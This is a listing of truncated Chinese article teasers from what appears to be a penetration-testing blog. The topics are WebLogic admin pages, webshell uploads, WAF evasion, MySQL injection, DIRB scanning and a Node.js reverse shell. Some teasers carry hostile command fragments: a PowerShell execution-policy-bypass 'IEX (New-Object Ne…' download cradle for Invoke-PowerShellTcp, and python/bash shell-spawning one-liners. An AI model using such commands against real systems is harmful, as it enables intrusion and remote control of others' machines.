1.weblogic 后台页面：（http为7001，https为7002） Google关键字：WebLogic Server Administrat…

文章来源：Bypass 收集样本，那可是一件很有趣的精细活。从样本里，你可能会发现很多技巧，并进入另一个视角来领略攻击者的手法。 当在安全社区里看到一些…

域工作组（Work Group） 工作组是局域网中的一个概念，由许多在同一物理地点，而且被相同的局域网连接起来的用户组成的小组，也可以是遍布一个机构的，…

这几天做测试遇到了一个挺有意思的站点,中间过程非常曲折，这里就讲下巧转webshell的思路吧 找到了一个上转图像的地方，上转了正常图片成功了，继续传了…

0x01 前言 实际渗透中,我们经常会遇到各种ips或者waf的围追堵截,有时候,跑个目录就直接把你ip封了,因为经常会遇到这种尴尬的情况,所以就灵机一…

在开始真正的注入技巧之前,我们先来大致回顾下必要的 mysql 数据库基础 下面是注入 Mysql 时经常会用到的一些单行函数,熟练使用是灵活注入的前提…

如下的 Javascript 就是一个 Node.js 的反向连接 shell 这个 payload 将会生成一个/bin/sh 的 shell，创建一…

DIRB官方地址：http://dirb.sourceforge.net/ 简介（摘自官方原文）： DIRB is a Web Content Scan…

Invoke-PowerShellTcp.ps1 powershell -nop -exec bypass -c "IEX (New-Object Ne…

python -c 'import pty; pty.spawn("/bin/sh")' echo os.system('/bin/bash') /bi…

攻击机： 192.168.1.102            Debian 靶机：  …